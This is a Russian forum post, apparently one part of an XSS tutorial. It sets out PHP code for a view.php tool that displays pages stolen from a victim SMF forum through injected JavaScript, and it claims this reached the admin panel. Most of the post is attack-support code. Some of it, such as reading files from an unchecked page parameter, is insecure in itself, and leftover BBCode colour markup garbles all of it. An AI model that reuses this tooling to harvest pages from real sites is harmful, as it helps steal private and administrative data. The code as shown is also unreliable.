Показать сообщение отдельно

  #3  
Старый 30.05.2011, 20:52
Белый Тигр
Познающий
Регистрация: 08.09.2010
Сообщений: 38
С нами: 8250806

Репутация: 15
По умолчанию

Серверная часть. Просмотр результатов.

Наконец перейдём к визуализации всего что получено нашим скриптом. Выглядеть это будет так. При обращении к определённому скрипту (назовём его view.php) будет отображаться страница с двумя фреймами, в первом из которых будет расположен список доступных ссылок, а во втором по мере запросов будет отображаться их содержимое. Основу view.php будет составлять массив шаблонов, хранящий в себе все необходимые html-конструкции, и одна switch-конструкция, которая в зависимости от значения параметра «act» будет выполнять те или иные действия. Если этого параметра не будет передано вообще, то скрипт отобразит набор фреймов.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]



Просмотр страниц





[/COLOR][COLOR="#007700"]HTML;

[/
COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'down'[/COLOR][COLOR="#007700"]] =

[/COLOR][COLOR="#007700"]HTML;

[/
COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'frames'[/COLOR][COLOR="#007700"]] =







[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'down'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]
[/
COLOR][COLOR="#007700"]HTML;

[/
COLOR][COLOR="#0000BB"]$act[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'act'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'act'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

switch([/
COLOR][COLOR="#0000BB"]$act[/COLOR][COLOR="#007700"]) {

default:

print[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'frames'[/COLOR][COLOR="#007700"]];

break;

}[/
COLOR][/COLOR] 
Если в «act» будет передано «menu» мы считаем все ссылки из urls.txt и выведем их по отдельному шаблону.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]);

foreach([/
COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'trim'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]printf[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 
Сам шаблон:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]] = %s

HTML
;[/COLOR][/COLOR] 
В шаблоне фреймов видно что есть ещё и вариант параметра «act» с содержимым «blank». Это начальная страница нашего просмотрщика. Вот её шаблон:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'blank'[/COLOR][COLOR="#007700"]] =

Выберите URL для просмотра



[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'down'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]
HTML;[/COLOR][/COLOR] 
и код

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]print[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'blank'[/COLOR][COLOR="#007700"]];[/COLOR][/COLOR] 
Ну и самый последний шаг — просмотр перехваченных страниц. Здесь всё достаточно тривиально. Выше вы видели что при открытии страницы скрипту передаётся её хеш. То есть для начала нам нужно просто получить содержимое одного файла из директории pages.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./pages/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Удаляем слеши оставленные escape()[/COLOR][/COLOR] 
Затем следует один интересный момент. Мы заменим в этом коде ссылки имеющиеся у нас в ./urls.txt на ссылки к скрипту view.php. Это сильно улучшит навигацию по перехваченному контенту, ведь искать каждый раз интересующую вас ссылку в левом меню довольно надоедливое занятие. А так вы сможете просто кликнуть по ней как будто вы работаете непосредственно с атакованным приложением.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]);

foreach([/
COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'trim'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\"[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#DD0000"]\""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"/view.php?act=view&page="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR] 
Стоит остановиться на кавычках в первом аргументе str_replace(). В нашем случае они двойные т.*к. в ссылках SMF содержимое параметра «href» обрамляется именно ими. В других случаях кавычки могут быть одинарные, или их вообще может не быть. Если же производить замену без их учёта, просто меняя один URL на другой, то можно столкнуться с ситуацией, когда у вас в ссылках замене подвергнется лишь часть. Например ссылка

http://site.com/index.php?a=1&b=2

будет «изломана» view.php-аналогом ссылки

http://site.com/index.php?a=1

Поэтому данный фрагмент кода, как и некоторые описанные до этого, требуют подгонки под конкретное приложение.

И теперь завершающий штрих, опять же, улучшающий навигацию. Мы вновь обратимся к jQuery. Будем подключать его к каждой отображаемой странице, а следом за ним выведем код, который все ссылки, не содержащие фразу «view.php?act=view», перечеркнёт. Таким образом мы сразу будем видеть те ссылки, содержимым которых мы владеем.

Вот html-шаблон:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'links-script'[/COLOR][COLOR="#007700"]] =



$('a').each(function(){

if(this.href.indexOf('view.php?act=view') == -1) {

$(this).css('text-decoration', 'line-through');

}

});



HTML
;[/COLOR][/COLOR] 
А вод код, которым должно кончаться действие view:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]print[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$content[/COLOR][COLOR="#DD0000"]\n[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'links-script'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];[/COLOR][/COLOR] 
Пример того что получается в итоге:



На скриншоте хорошо видно что JS-код смог пробраться даже в админ-панель и считать оттуда пару страниц. Обратите внимание - отображение страничек полностью идентично натуральному. Как будто мы находимся непосредственно внутри форума. Так получилось потому что внутри параметров href были найдены ссылки на css-стили, которые, соответственно, были автоматически нашим кодом подгружены. С victim.xss тут запрашиваются только картинки. Хотя вы можете модифицировать всё вышеприведённое таким образом, чтоб с целевого приложения «забирались» ещё и графические элементы.

Напоследок.

И напоследок хотелось бы сказать о нескольких важных моментах. Первый. В конце страниц SMF находится JS-код, вызывающий сильное торможение при отображении в просмотрщике. Кончается всё тем, что Firefox предлагает попросту остановить выполнение сценариев. Он идёт перед самым последним div`ом, содержащим текст «Loading...». Лучше его автоматически вырезать при записи в директорию pages.

Второй. Для быстрого тестирования результата повышайте лимит адресов до 100 или даже 200. Но при этом не забывайте отключать FireBug. При таком количестве запросов он будет страшно тормозить браузер.

Ну и третий. Не следует использовать данный материал в целях противоречащих нашим законам. Он опубликован лишь как небольшое собственное исследование и только для ознакомления.

Файлы к данной статье можно скачать по ссылке https://hack4sec.opendrive.com/files/?29121529_Qt7zi
 
Ответить с цитированием